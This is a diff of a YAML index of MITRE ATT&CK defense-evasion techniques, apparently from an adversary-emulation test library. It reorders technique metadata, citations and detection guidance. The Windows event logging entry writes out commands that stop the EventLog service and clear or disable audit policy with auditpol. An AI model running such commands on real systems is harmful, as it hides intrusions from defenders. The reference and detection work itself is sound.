-      - 'Script: Script Execution'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Host intrusion prevention systems
-      - Signature-based detection
-      - Network intrusion detection system
       x_mitre_detection: |-
         Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).
 
         Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.
-      x_mitre_permissions_required:
-      - User
-      x_mitre_platforms:
-      - Windows
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1140
+        external_id: T1140
+        source_name: mitre-attack
+      - source_name: Malwarebytes Targeted Attack against Saudi Arabia
+        description: Malwarebytes Labs. (2017, March 27). New targeted attack against
+          Saudi Arabia Government. Retrieved July 3, 2017.
+        url: https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/
+      - source_name: Carbon Black Obfuscation Sept 2016
+        description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved
+          February 12, 2018.
+        url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
+      - source_name: Volexity PowerDuke November 2016
+        description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election
+          Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January
+          11, 2017.'
+        url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/
       identifier: T1140
     atomic_tests:
     - name: Deobfuscate/Decode Files Or Information
@@ -24883,56 +25264,19 @@ defense-evasion:
           echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | xxd -r -p
   T1610:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1610
-        url: https://attack.mitre.org/techniques/T1610
-      - source_name: Docker Containers API
-        url: https://docs.docker.com/engine/api/v1.41/#tag/Container
-        description: Docker. (n.d.). Docker Engine API v1.41 Reference - Container.
-          Retrieved March 29, 2021.
-      - source_name: Kubernetes Dashboard
-        url: https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/
-        description: The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard).
-          Retrieved March 29, 2021.
-      - source_name: Kubeflow Pipelines
-        url: https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/
-        description: The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines.
-          Retrieved March 29, 2021.
-      - source_name: Aqua Build Images on Hosts
-        url: https://blog.aquasec.com/malicious-container-image-docker-container-host
-        description: 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building
-          Malicious Images on Your Hosts. Retrieved March 29, 2021.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Deploy Container
-      description: |-
-        Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.
-
-        Containers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)
-      id: attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: execution
+      name: Deploy Container
+      x_mitre_data_sources:
+      - 'Container: Container Creation'
+      - 'Container: Container Start'
+      - 'Pod: Pod Creation'
+      - 'Pod: Pod Modification'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.0'
       modified: '2021-04-14T12:02:20.641Z'
       created: '2021-03-29T16:51:26.020Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_permissions_required:
-      - User
-      - root
-      x_mitre_remote_support: true
-      x_mitre_detection: Monitor for suspicious or unknown container images and pods
-        in your environment. Deploy logging agents on Kubernetes nodes and retrieve
-        logs from sidecar proxies for application pods to detect malicious activity
-        at the cluster level. In Docker, the daemon log provides insight into remote
-        API calls, including those that deploy containers. Logs for management services
-        or applications used to deploy containers other than the native technologies
-        themselves should also be monitored.
       x_mitre_contributors:
       - Pawan Kinger, @kingerpawan, Trend Micro
       - Alfredo Oliveira, Trend Micro
@@ -24942,60 +25286,97 @@ defense-evasion:
       - Ariel Shuper, Cisco
       - Vishwas Manral, McAfee
       - Yossi Weizman, Azure Defender Research Team
+      id: attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92
       x_mitre_platforms:
       - Containers
-      x_mitre_data_sources:
-      - 'Container: Container Creation'
-      - 'Container: Container Start'
-      - 'Pod: Pod Creation'
-      - 'Pod: Pod Modification'
-      - 'Application Log: Application Log Content'
-    atomic_tests: []
-  T1006:
-    technique:
-      id: attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Direct Volume Access
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - root
       description: |-
-        Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)
+        Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.
 
-        Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1006
-        url: https://attack.mitre.org/techniques/T1006
-      - url: http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin
-        description: Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors
-          Directly from Disk using Logical Offsets. Retrieved November 12, 2014.
-        source_name: Hakobyan 2009
-      - url: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
-        description: Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved
-          June 2, 2016.
-        source_name: Github PowerSploit Ninjacopy
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
+        Containers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2021-02-09T14:09:00.753Z'
-      created: '2017-05-31T21:30:20.934Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_detection: |-
-        Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)
-
-        Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.
-      x_mitre_defense_bypassed:
-      - File monitoring
-      - File system access controls
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      x_mitre_remote_support: true
+      x_mitre_detection: Monitor for suspicious or unknown container images and pods
+        in your environment. Deploy logging agents on Kubernetes nodes and retrieve
+        logs from sidecar proxies for application pods to detect malicious activity
+        at the cluster level. In Docker, the daemon log provides insight into remote
+        API calls, including those that deploy containers. Logs for management services
+        or applications used to deploy containers other than the native technologies
+        themselves should also be monitored.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1610
+        external_id: T1610
+        source_name: mitre-attack
+      - url: https://docs.docker.com/engine/api/v1.41/#tag/Container
+        description: Docker. (n.d.). Docker Engine API v1.41 Reference - Container.
+          Retrieved March 29, 2021.
+        source_name: Docker Containers API
+      - url: https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/
+        description: The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard).
+          Retrieved March 29, 2021.
+        source_name: Kubernetes Dashboard
+      - url: https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/
+        description: The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines.
+          Retrieved March 29, 2021.
+        source_name: Kubeflow Pipelines
+      - url: https://blog.aquasec.com/malicious-container-image-docker-container-host
+        description: 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building
+          Malicious Images on Your Hosts. Retrieved March 29, 2021.'
+        source_name: Aqua Build Images on Hosts
+    atomic_tests: []
+  T1006:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Direct Volume Access
       x_mitre_data_sources:
       - 'Command: Command Execution'
       - 'Drive: Drive Access'
       x_mitre_version: '2.0'
+      modified: '2021-02-09T14:09:00.753Z'
+      created: '2017-05-31T21:30:20.934Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_defense_bypassed:
+      - File monitoring
+      - File system access controls
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5
+      description: |-
+        Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)
+
+        Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_detection: |-
+        Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)
+
+        Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1006
+        external_id: T1006
+        source_name: mitre-attack
+      - source_name: Hakobyan 2009
+        description: Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors
+          Directly from Disk using Logical Offsets. Retrieved November 12, 2014.
+        url: http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin
+      - source_name: Github PowerSploit Ninjacopy
+        description: Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved
+          June 2, 2016.
+        url: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
       identifier: T1006
     atomic_tests:
     - name: Read volume boot sector via DOS device path (PowerShell)
@@ -25028,32 +25409,25 @@ defense-evasion:
         elevation_required: true
   T1562.008:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1562.008
-        url: https://attack.mitre.org/techniques/T1562/008
-      - source_name: 'Following the CloudTrail: Generating strong AWS security signals
-          with Sumo Logic'
-        url: https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/
-        description: 'Dan Whalen. (2019, September 10). Following the CloudTrail:
-          Generating strong AWS security signals with Sumo Logic. Retrieved October
-          16, 2020.'
-      - source_name: Stopping CloudTrail from Sending Events to CloudWatch Logs
-        url: https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html
-        description: Amazon Web Services. (n.d.). Stopping CloudTrail from Sending
-          Events to CloudWatch Logs. Retrieved October 16, 2020.
-      - source_name: Configuring Data Access audit logs
-        url: https://cloud.google.com/logging/docs/audit/configure-data-access
-        description: Google. (n.d.). Configuring Data Access audit logs. Retrieved
-          October 16, 2020.
-      - source_name: az monitor diagnostic-settings
-        url: https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete
-        description: Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved
-          October 16, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Disable Cloud Logs
+      x_mitre_data_sources:
+      - 'Cloud Service: Cloud Service Modification'
+      - 'Cloud Service: Cloud Service Disable'
+      x_mitre_version: '1.1'
+      modified: '2021-03-15T16:43:04.273Z'
+      created: '2020-10-12T13:52:32.846Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d
+      x_mitre_platforms:
+      - IaaS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "An adversary may disable cloud logging capabilities and integrations
         to limit what data is collected on their activities and avoid detection. \n\nCloud
         environments allow for collection and analysis of audit and application logs
@@ -25063,27 +25437,6 @@ defense-evasion:
         CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation:
         Following the CloudTrail: Generating strong AWS security signals with Sumo
         Logic)"
-      id: attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-03-15T16:43:04.273Z'
-      created: '2020-10-12T13:52:32.846Z'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: 'Monitor logs for API calls to disable logging. In AWS, monitor
-        for: <code>StopLogging</code> and <code>DeleteTrail</code>.(Citation: Stopping
-        CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: <code>google.logging.v2.ConfigServiceV2.UpdateSink</code>.(Citation:
-        Configuring Data Access audit logs)  In Azure, monitor for <code>az monitor
-        diagnostic-settings delete</code>.(Citation: az monitor diagnostic-settings)
-        Additionally, a sudden loss of a log source may indicate that it has been
-        disabled.'
-      x_mitre_data_sources:
-      - 'Cloud Service: Cloud Service Modification'
-      - 'Cloud Service: Cloud Service Disable'
       x_mitre_contributors:
       - Syed Ummar Farooqh, McAfee
       - Prasad Somasamudram, McAfee
@@ -25092,8 +25445,36 @@ defense-evasion:
       - Alex Soler, AttackIQ
       - Janantha Marasinghe
       - Matt Snyder, VMware
-      x_mitre_platforms:
-      - IaaS
+      x_mitre_detection: 'Monitor logs for API calls to disable logging. In AWS, monitor
+        for: <code>StopLogging</code> and <code>DeleteTrail</code>.(Citation: Stopping
+        CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: <code>google.logging.v2.ConfigServiceV2.UpdateSink</code>.(Citation:
+        Configuring Data Access audit logs)  In Azure, monitor for <code>az monitor
+        diagnostic-settings delete</code>.(Citation: az monitor diagnostic-settings)
+        Additionally, a sudden loss of a log source may indicate that it has been
+        disabled.'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1562/008
+        external_id: T1562.008
+        source_name: mitre-attack
+      - url: https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/
+        description: 'Dan Whalen. (2019, September 10). Following the CloudTrail:
+          Generating strong AWS security signals with Sumo Logic. Retrieved October
+          16, 2020.'
+        source_name: 'Following the CloudTrail: Generating strong AWS security signals
+          with Sumo Logic'
+      - url: https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html
+        description: Amazon Web Services. (n.d.). Stopping CloudTrail from Sending
+          Events to CloudWatch Logs. Retrieved October 16, 2020.
+        source_name: Stopping CloudTrail from Sending Events to CloudWatch Logs
+      - url: https://cloud.google.com/logging/docs/audit/configure-data-access
+        description: Google. (n.d.). Configuring Data Access audit logs. Retrieved
+          October 16, 2020.
+        source_name: Configuring Data Access audit logs
+      - url: https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete
+        description: Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved
+          October 16, 2020.
+        source_name: az monitor diagnostic-settings
       identifier: T1562.008
     atomic_tests:
     - name: AWS CloudTrail Changes
@@ -25232,81 +25613,137 @@ defense-evasion:
         elevation_required: false
   T1600.002:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Disable Crypto Hardware
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-10-21T22:37:48.503Z'
+      created: '2020-10-19T19:11:18.757Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: true
       id: attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5
       description: |-
         Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.
 
         Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)
-      name: Disable Crypto Hardware
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1600.002
-        url: https://attack.mitre.org/techniques/T1600/002
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-10-21T22:37:48.503Z'
-      created: '2020-10-19T19:11:18.757Z'
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Network
       x_mitre_detection: There is no documented method for defenders to directly identify
         behaviors that disable cryptographic hardware. Detection efforts may be focused
         on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601)
         and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some
         detection methods require vendor support to aid in investigation.
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1600/002
+        external_id: T1600.002
+        source_name: mitre-attack
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
     atomic_tests: []
   T1562.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1562.002
-        url: https://attack.mitre.org/techniques/T1562/002
-      - source_name: Windows Log Events
-        url: https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/
-        description: Franklin Smith. (n.d.). Windows Security Log Events. Retrieved
-          February 21, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Disable Windows Event Logging
-      description: |-
-        Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.
-
-        Adversaries may targeting system-wide logging or just that of a particular application. By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.
-      id: attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a
       type: attack-pattern
+      name: Disable Windows Event Logging
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Script: Script Execution'
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Application Log: Application Log Content'
+      - 'Sensor Health: Host Status'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-10-19T13:37:30.534Z'
+      created: '2020-02-21T20:46:36.688Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-03-29T22:02:33.870Z'
-      created: '2020-02-21T20:46:36.688Z'
-      x_mitre_version: '1.0'
+      id: attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a
+      x_mitre_defense_bypassed:
+      - Log analysis
+      x_mitre_platforms:
+      - Windows
       x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - Administrator
-      x_mitre_defense_bypassed:
-      - Log analysis
-      x_mitre_detection: Monitor processes and command-line arguments for commands
-        that can be used to disable logging. Lack of event logs may be suspicious.
-      x_mitre_data_sources:
-      - 'Sensor Health: Host Status'
-      - 'Command: Command Execution'
-      x_mitre_platforms:
-      - Windows
+      description: |-
+        Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.
+
+        The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\Local Policies\Audit Policy</code> for basic audit policy settings or <code>Security Settings\Advanced Audit Policy Configuration</code> for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) <code>auditpol.exe</code> may also be used to set audit policies.(Citation: auditpol)
+
+        Adversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: <code>Stop-Service -Name EventLog</code>.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters. For example, <code>auditpol /set /category:”Account Logon” /success:disable /failure:disable</code> turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove /allusers</code>.(Citation: T1562.002_redcanaryco)
+
+        By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.
+      x_mitre_contributors:
+      - Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering
+        Team
+      x_mitre_detection: "Monitor processes and command-line arguments for commands
+        that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645),
+        `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002)
+        and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation:
+        evt_log_tampering)  \n\nIn Event Viewer, Event ID 1102 under the “Security”
+        Windows Log and Event ID 104 under the “System” Windows Log both indicate
+        logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control
+        Manager Event ID 7035` in Event Viewer may indicate the termination of the
+        EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs,
+        e.g. non-sequential Event Record IDs, may indicate that the logs may have
+        been tampered.\n\nMonitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control`,
+        which may disable Event Viewer.(Citation: def_ev_win_event_logging)"
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1562/002
+        external_id: T1562.002
+        source_name: mitre-attack
+      - url: https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/
+        description: Franklin Smith. (n.d.). Windows Security Log Events. Retrieved
+          February 21, 2020.
+        source_name: Windows Log Events
+      - url: https://www.coretechnologies.com/blog/windows-services/eventlog/
+        description: 'Core Technologies. (2021, May 24). Essential Windows Services:
+          EventLog / Windows Event Log. Retrieved September 14, 2021.'
+        source_name: EventLog_Core_Technologies
+      - url: https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy
+        description: Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September
+          13, 2021.
+        source_name: Audit_Policy_Microsoft
+      - url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings
+        description: Simpson, D. et al. (2017, April 19). Advanced security audit
+          policy settings. Retrieved September 14, 2021.
+        source_name: Advanced_sec_audit_policy_settings
+      - url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol
+        description: Jason Gerend, et al. (2017, October 16). auditpol. Retrieved
+          September 1, 2021.
+        source_name: auditpol
+      - url: https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging
+        description: " dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved
+          September 10, 2021."
+        source_name: Disable_Win_Event_Logging
+      - url: https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html
+        description: STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.
+        source_name: auditpol.exe_STRONTIC
+      - url: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md
+        description: redcanaryco. (2021, September 3). T1562.002 - Disable Windows
+          Event Logging. Retrieved September 13, 2021.
+        source_name: T1562.002_redcanaryco
+      - url: https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/
+        description: 'Chandel, R. (2021, April 22). Defense Evasion: Windows Event
+          Logging (T1562.002). Retrieved September 14, 2021.'
+        source_name: def_ev_win_event_logging
+      - url: https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c
+        description: 'svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting
+          the EventLog Service. Retrieved September 14, 2021.'
+        source_name: evt_log_tampering
       identifier: T1562.002
     atomic_tests:
     - name: Disable Windows IIS HTTP Logging
@@ -25440,18 +25877,25 @@ defense-evasion:
         name: command_prompt
   T1562.007:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1562.007
-        url: https://attack.mitre.org/techniques/T1562/007
-      - source_name: Expel IO Evil in AWS
-        url: https://expel.io/blog/finding-evil-in-aws/
-        description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding
-          Evil in AWS. Retrieved June 25, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Disable or Modify Cloud Firewall
+      x_mitre_data_sources:
+      - 'Firewall: Firewall Rule Modification'
+      - 'Firewall: Firewall Disable'
+      x_mitre_version: '1.1'
+      modified: '2021-03-08T10:33:02.146Z'
+      created: '2020-06-24T16:55:46.243Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c
+      x_mitre_platforms:
+      - IaaS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may disable or modify a firewall within a cloud environment
         to bypass controls that limit access to cloud resources. Cloud firewalls are
         separate from system firewalls that are described in [Disable or Modify System
@@ -25464,37 +25908,42 @@ defense-evasion:
         any TCP/IP connectivity.(Citation: Expel IO Evil in AWS)\n\nModifying or disabling
         a cloud firewall may enable adversary C2 communications, lateral movement,
         and/or data exfiltration that would otherwise not be allowed."
-      id: attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-03-08T10:33:02.146Z'
-      created: '2020-06-24T16:55:46.243Z'
       x_mitre_contributors:
       - Expel
